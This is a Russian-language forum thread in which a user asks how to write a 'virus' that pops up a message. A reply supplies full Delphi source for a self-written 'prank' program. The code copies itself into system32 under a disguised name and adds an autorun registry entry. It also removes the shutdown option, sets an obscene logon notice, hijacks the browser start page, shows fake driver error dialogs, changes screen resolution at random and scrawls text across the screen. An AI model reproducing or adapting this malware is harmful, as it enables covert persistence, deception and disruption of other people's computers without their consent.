Пожалуйста подскажите как можно написать такую прогу в виде вируса, чтобы при попадании на компьютер она через какой-то определенный промежуток времени показывала на экране сообщение (написанное автором). Или просто дайте линк где это написано, я был почти везде и негде нет.
Вбей в поисковик: Исходники прог приколов. Получишь ссылки по которых пройдись и скачай исходники различных прог приколов, после чего изучай исходники и пиши свою прогу. Пишеться легко! Если надо могу дать исходник одной проги прикола, сам писал )
Вот исходник проги прикола (Ну конечно простенькая и писалась на конкурс сайта VR-Online): Code: unit Unit1; interface uses Windows,SysUtils,Forms,ExtCtrls,registry, Classes,shellapi,Graphics; type TForm1 = class(TForm) Timer1: TTimer; Timer2: TTimer; Timer3: TTimer; Timer4: TTimer; Timer5: TTimer; Timer6: TTimer; procedure FormCreate(Sender: TObject); procedure FormActivate(Sender: TObject); procedure Timer1Timer(Sender: TObject); procedure Timer2Timer(Sender: TObject); procedure Timer3Timer(Sender: TObject); procedure Timer4Timer(Sender: TObject); procedure Timer5Timer(Sender: TObject); procedure Timer6Timer(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; windir:string;//путь до винды implementation {$R *.dfm} procedure TForm1.FormCreate(Sender: TObject); var tempwindir:array [0..255] of char; i:integer; reg:Treginifile; begin ShowCursor(false); //------получаем путь к винде-------- GetWindowsDirectory(tempwindir,255); for i:=0 to 255 do begin if tempwindir[i]=#0 then break; windir:=windir+tempwindir[i]; end; //------------------------------------- //-------Внедрение на комп------------- CopyFile(Pchar(application.ExeName),pChar(windir+'\system32\FTPhost.exe'),false); reg:=TRegIniFile.Create(''); reg.RootKey:=HKEY_LOCAL_MACHINE; reg.WriteString('SOFTWARE\Microsoft\Windows\CurrentVersion\Run','FTPhost',windir+'\system32\FTPhost.exe'); reg.Destroy; //----------------------------------------- //-----Удаляем кнопку выключить------------- reg:=treginifile.Create(''); reg.RootKey:=HKEY_CURRENT_USER; reg.WriteString('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer','Noclose','1'); reg.Destroy; //-------Усё удалили =) --------------------- //----Сообщение при входе в винду------------ reg:=treginifile.Create(''); reg.RootKey:=HKEY_LOCAL_MACHINE; reg.OpenKey('SOFTWARE\Microsoft\Windows NT\CurrentVersion\',false); reg.WriteString('Winlogon','LegalNoticeCaption','YOU FUCKED'); reg.WriteString('Winlogon','LegalNoticeText','YOU HAS BEEN FUCKED BY NEO =)'); reg.Destroy; //------------------------------------------- //------Переименуем корзину----------------- reg:=treginifile.Create(''); reg.RootKey:=HKEY_CURRENT_USER; reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\',false); reg.WriteString('{645FF040-5081-101B-9F08-00AA002F954E}','','VR-ONLINE НАВСЕГДА'); reg.Destroy; //-------------------------------------------- //------Ставим VR-ONLINE в автозапуск------------ reg:=treginifile.Create(''); reg.RootKey:=HKEY_CURRENT_USER; reg.OpenKey('Software\Microsoft\Internet Explorer\',false); reg.WriteString('Main','Start Page','http://www.vr-online.ru'); reg.Destroy; //------------------------------------------------ end; procedure TForm1.FormActivate(Sender: TObject); begin //-------Скрываем нашу форму----------- ShowWindow(Handle, SW_HIDE); ShowWindow(Application.Handle, SW_HIDE); //------------------------------------- application.MessageBox('Process stoped.Read error adress #1001001000001.','FtpServer.Read error',mb_iconerror+mb_ok); end; procedure TForm1.Timer1Timer(Sender: TObject); var i:integer; begin //-----------Прикол 1----------- ShellExecute(Form1.Handle,'open',Pchar('rundll32.exe'),'shell32.dll,Control_RunDLL Desk.cpl,@0,3',Pchar(Windir),SW_normal); i:=i+1; if i=20 then begin timer1.Enabled:=FALSE; timer2.Enabled:=TRUE; end; end; procedure TForm1.Timer2Timer(Sender: TObject); begin timer1.Enabled:=FALSE; application.MessageBox('Mistake of the driver user. All data will be lost. Reinstall or reload user.','Mistake of the driver user',mb_iconerror+mb_ok); timer3.Enabled:=TRUE; timer2.Enabled:=FALSE; end; procedure TForm1.Timer3Timer(Sender: TObject); var dm : TDEVMODE; x:array [1..3] of integer; y:array [1..3] of integer; x1,y1,n:integer; num:integer; begin //Список доступных расширений x[1]:= 640; y[1]:= 480; x[2]:= 800; y[2]:= 600; x[3]:= 1024; y[3]:= 768; n:= random (3);// случайно выбираем x1:= x[n+1]; //...ширину y1:= y[n+1]; //...высоту //Теперь устанавливаем ZeroMemory(@dm, sizeof(TDEVMODE)); dm.dmSize := sizeof(TDEVMODE); dm.dmPelsWidth := x1; dm.dmPelsHeight := y1; dm.dmFields := DM_PELSWIDTH or DM_PELSHEIGHT; ChangeDisplaySettings(dm, 0); num:=num+1; if num=10 then begin Timer3.enabled:=FALSE; timer4.Enabled:=TRUE; end; application.MessageBox('Could not initalize video driver'#123#11'Please, restart windows!','Error',mb_ok+mb_iconerror); end; procedure TForm1.Timer4Timer(Sender: TObject); var num:integer; begin num:=num+1; WinExec(Pchar(windir+'\system32\FTPhost.exe'),SW_RESTORE); SystemParametersInfo(SPI_SETDESKWALLPAPER,0,PChar(windir+'Кофейня.bmp'),SPIF_SENDWININICHANGE); if num=10 then begin timer4.Enabled:=FALSE; Timer5.Enabled:=TRUE; end; end; procedure TForm1.Timer5Timer(Sender: TObject); var ScreenDC:HDC; Canvas:TCanvas; x,y,num:integer; begin ScreenDC:=GetDC(0); Canvas:=TCanvas.Create(); Canvas.Handle:=ScreenDC; Canvas.Font.Size:=30; canvas.Font.Color:=clRed; randomize; x:=random(1024); y:=random(768); Canvas.TextOut(x,y, 'YOU FUCKED BY NEO'); ReleaseDC(0,ScreenDC); Canvas.Free; num:=num+1; if num=200 then begin Timer5.Enabled:=FALSE; Timer1.Enabled:=TRUE; end; end; //-----------Прячем значки на рабочем столе------------------ procedure ShowDesktop(const YesNo : boolean); var h : THandle; begin h := FindWindow('ProgMan', nil); h := GetWindow(h, GW_CHILD); if YesNo = True then ShowWindow(h, SW_SHOW) else ShowWindow(h, SW_HIDE); end; //------------------------------------------ procedure TForm1.Timer6Timer(Sender: TObject); var v:boolean; begin if v=true then begin ShowDesktop(False); v:=false; end; if v=false then begin ShowDesktop(True); v:=true; end; end; end.